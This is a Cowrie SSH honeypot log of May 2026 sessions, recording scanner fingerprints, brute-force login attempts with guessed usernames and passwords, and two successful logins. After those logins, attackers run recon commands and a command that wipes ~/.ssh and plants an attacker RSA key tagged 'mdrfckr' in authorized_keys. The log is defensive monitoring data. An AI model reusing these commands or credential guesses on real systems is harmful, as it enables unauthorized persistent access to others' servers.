{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:42:29.560629Z","src_ip":"2.203.183.35","session":"1dca0fdee3a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"q1w2e3r4t","message":"login attempt [ubuntu/q1w2e3r4t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:42:30.065366Z","src_ip":"2.203.183.35","session":"1dca0fdee3a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:42:31.197445Z","src_ip":"2.203.183.35","session":"1dca0fdee3a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.79.142.221","src_port":51644,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c183873014d","protocol":"ssh","message":"New connection: 210.79.142.221:51644 (10.17.0.5:22) [session: 0c183873014d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:42:41.002285Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:42:41.006824Z","src_ip":"210.79.142.221","session":"0c183873014d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:42:41.250909Z","src_ip":"210.79.142.221","session":"0c183873014d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"manager","password":"test","message":"login attempt [manager/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:42:42.258553Z","src_ip":"210.79.142.221","session":"0c183873014d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.216.28.11","src_port":34030,"dst_ip":"159.203.135.109","dst_port":22,"session":"c64f5578d9b8","protocol":"ssh","message":"New connection: 148.216.28.11:34030 (159.203.135.109:22) [session: c64f5578d9b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:42:43.147351Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:42:43.152119Z","src_ip":"148.216.28.11","session":"c64f5578d9b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:42:43.218789Z","src_ip":"148.216.28.11","session":"c64f5578d9b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:42:43.506456Z","src_ip":"210.79.142.221","session":"0c183873014d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"d3ploy","message":"login attempt [deploy/d3ploy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:42:43.515287Z","src_ip":"148.216.28.11","session":"c64f5578d9b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:42:44.584075Z","src_ip":"148.216.28.11","session":"c64f5578d9b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.221.248","src_port":43770,"dst_ip":"159.203.135.109","dst_port":22,"session":"9433cd9b1cb6","protocol":"ssh","message":"New connection: 69.6.221.248:43770 (159.203.135.109:22) [session: 9433cd9b1cb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:42:45.517809Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:42:45.524106Z","src_ip":"69.6.221.248","session":"9433cd9b1cb6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:42:45.637738Z","src_ip":"69.6.221.248","session":"9433cd9b1cb6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gmodserver","password":"gmodserver","message":"login attempt [gmodserver/gmodserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:42:46.124600Z","src_ip":"69.6.221.248","session":"9433cd9b1cb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:42:47.239721Z","src_ip":"69.6.221.248","session":"9433cd9b1cb6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"trader","password":"trader","message":"login attempt [trader/trader] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:42:49.370769Z","src_ip":"122.168.114.167","session":"7709095347cc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:42:58.855393Z","src_ip":"122.168.114.167","session":"7709095347cc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:42:58.858975Z","src_ip":"122.168.114.167","session":"7709095347cc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"6.0","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:43:04.894733Z","src_ip":"122.168.114.167","session":"7709095347cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"41.7","message":"Connection lost after 41.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:43:04.950814Z","src_ip":"122.168.114.167","session":"7709095347cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":42362,"dst_ip":"159.203.135.109","dst_port":22,"session":"2359cb15715b","protocol":"ssh","message":"New connection: 122.168.114.167:42362 (159.203.135.109:22) [session: 2359cb15715b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:43:05.901449Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55912,"dst_ip":"159.203.135.109","dst_port":22,"session":"b16e364a184e","protocol":"ssh","message":"New connection: 159.203.92.129:55912 (159.203.135.109:22) [session: b16e364a184e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:43:10.676858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:43:10.682309Z","src_ip":"159.203.92.129","session":"b16e364a184e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:43:10.686965Z","src_ip":"159.203.92.129","session":"b16e364a184e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app2","password":"app2123","message":"login attempt [app2/app2123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:43:10.697597Z","src_ip":"159.203.92.129","session":"b16e364a184e","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:43:10.777097Z","src_ip":"122.168.114.167","session":"2359cb15715b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:43:10.781165Z","src_ip":"122.168.114.167","session":"2359cb15715b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:43:11.704393Z","src_ip":"159.203.92.129","session":"b16e364a184e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.203.183.35","src_port":57468,"dst_ip":"159.203.135.109","dst_port":22,"session":"daac368b472f","protocol":"ssh","message":"New connection: 2.203.183.35:57468 (159.203.135.109:22) [session: daac368b472f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:43:23.053463Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:43:23.058440Z","src_ip":"2.203.183.35","session":"daac368b472f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:43:23.163512Z","src_ip":"2.203.183.35","session":"daac368b472f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"os10+ZTE","message":"login attempt [oracle/os10+ZTE] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:43:23.702151Z","src_ip":"2.203.183.35","session":"daac368b472f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:43:23.949593Z","src_ip":"2.203.183.35","session":"daac368b472f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:43:23.952682Z","src_ip":"2.203.183.35","session":"daac368b472f","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:43:23.956784Z","src_ip":"2.203.183.35","session":"daac368b472f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:43:24.080797Z","src_ip":"2.203.183.35","session":"daac368b472f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:43:24.331865Z","src_ip":"2.203.183.35","session":"daac368b472f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:43:24.336036Z","src_ip":"2.203.183.35","session":"daac368b472f","protocol":"ssh"}
